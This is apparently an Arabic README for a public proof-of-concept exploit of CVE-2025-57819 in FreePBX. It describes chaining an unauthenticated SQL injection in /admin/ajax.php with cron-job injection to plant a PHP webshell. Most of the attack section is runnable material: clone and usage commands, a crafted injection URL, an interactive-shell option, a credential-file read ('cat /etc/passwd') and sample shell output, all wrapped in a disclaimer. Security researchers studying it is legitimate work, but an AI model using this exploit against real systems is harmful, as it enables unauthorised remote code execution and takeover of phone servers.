
ثغرة حقن SQL غير مصادق عليها في FreePBX تؤدي إلى تنفيذ تعليمات برمجية عن بُعد، وتؤثر على FreePBX 15 (أقل من 15.0.66) و16 (أقل من 16.0.89) و17 (أقل من 17.0.3). تقع الثغرة في الوحدة التجارية "endpoint"، وبسبب التصفية غير الصارمة لمدخلات المستخدم، تسمح للمهاجمين غير المصادقين بتجاوز صلاحيات المسؤول وتنفيذ حقن SQL، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بُعد.
CVE-2025-57819 هي ثغرة حرجة من نوع حقن SQL في FreePBX تسمح لمهاجم غير مصادَق بتحقيق تنفيذ كود عن بُعد من خلال الربط بين حقن SQL وحقن مهام cron.
⚠️ إخلاء مسؤولية: هذا المستودع مخصص لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-57819 |
| المنتج المتأثر | FreePBX (قبل المصادقة) |
| نوع الثغرة | حقن SQL (استعلامات مكدسة) |
| التأثير | تنفيذ كود عن بُعد (RCE) |
| ناقل الهجوم | الشبكة (HTTP GET) |
| المصادقة المطلوبة | ❌ لا شيء |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php معامل brand دون تعقيم مناسب، مما يسمح بتنفيذ استعلامات SQL مكدسة.INSERT INTO cron_jobs تُجدول أمرًا خبيثًا ليتم تنفيذه كل دقيقة.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
عند استخدام --shell، ينتقل السكربت إلى طرفية شبيهة (pseudo-terminal):
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
اكتب exit (أو Ctrl-C، Ctrl-D) لإنهاء الجلسة.
إذا كنت تفضل تنفيذ الخطوات يدويًا، فإن الاستغلال يقوم بثلاثة أمور:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
تعمل وظيفة cron المحقونة (* * * * *) كل دقيقة وتكتب قشرة الويب.
GET /shell.php?cmd=id
بعد الاختبار، قم بإزالة قشرة الويب وإدخال وظيفة cron:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
ثم احذف /var/www/html/shell.php من نظام الملفات.
/admin/ajax.php دون مصادقةيُقدَّم هذا المشروع لأغراض تعليمية وبحوث أمنية دفاعية فقط. راجع إخلاء المسؤولية أعلى هذا المستند.